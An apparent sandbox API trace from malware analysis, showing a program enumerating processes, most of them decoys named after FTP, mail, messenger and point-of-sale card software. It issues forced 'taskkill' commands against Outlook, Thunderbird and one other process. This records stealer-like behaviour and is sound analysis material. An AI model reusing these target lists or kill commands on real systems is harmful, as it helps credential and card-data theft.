	[0157.747] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.750] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.753] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0157.756] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.760] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.763] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0157.766] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0157.770] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0157.773] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0158.158] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.161] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0158.165] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.168] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0158.171] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.175] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="compound italiano branch.exe")) returned 1
	[0158.178] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="laugh.exe")) returned 1
	[0158.181] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="swiss_italia_boards.exe")) returned 1
	[0158.184] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pairchronicles.exe")) returned 1
	[0158.189] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="varyoopsboss.exe")) returned 1
	[0158.193] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="integratechips.exe")) returned 1
	[0158.352] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="reselleremotional.exe")) returned 1
	[0158.355] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh pct os.exe")) returned 1
	[0158.358] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="clearly_st.exe")) returned 1
	[0158.361] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sleepingtheregather.exe")) returned 1
	[0158.364] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="profile accepting clark.exe")) returned 1
	[0158.369] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="origins models wing.exe")) returned 1
	[0158.372] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="hurricane.exe")) returned 1
	[0158.376] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="basketballamdphil.exe")) returned 1
	[0158.379] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="calculate-hung.exe")) returned 1
	[0158.383] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="taskkill", lpParameters="/IM calculate-hung.exe /F", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0167.524] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="legs.exe")) returned 1
	[0167.528] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fails_wichita_innocent.exe")) returned 1
	[0167.532] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="groundwater pokemon.exe")) returned 1
	[0167.534] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="kinds-earth-explains.exe")) returned 1
	[0167.537] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0167.541] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0167.544] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0167.547] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0167.549] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0167.552] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0167.555] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0167.558] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0167.561] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0167.564] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0167.567] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0167.805] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0167.808] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0167.811] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0167.814] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0167.817] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0167.820] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0167.823] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1
	[0167.827] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="taskkill", lpParameters="/IM outlook.exe /F", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0173.827] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0173.830] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0173.833] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0173.837] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0173.840] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0173.850] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="taskkill", lpParameters="/IM thunderbird.exe /F", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0176.549] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0176.552] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0176.556] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0176.560] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0176.563] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0176.566] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0176.569] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0176.573] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0176.577] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0176.581] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0176.585] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0177.052] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0177.055] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0177.059] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0177.062] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0177.065] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0177.068] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0177.074] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0177.077] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0177.080] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0177.083] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0177.707] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="metropolitan purchases.exe")) returned 1
	[0177.710] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ghana.exe")) returned 1
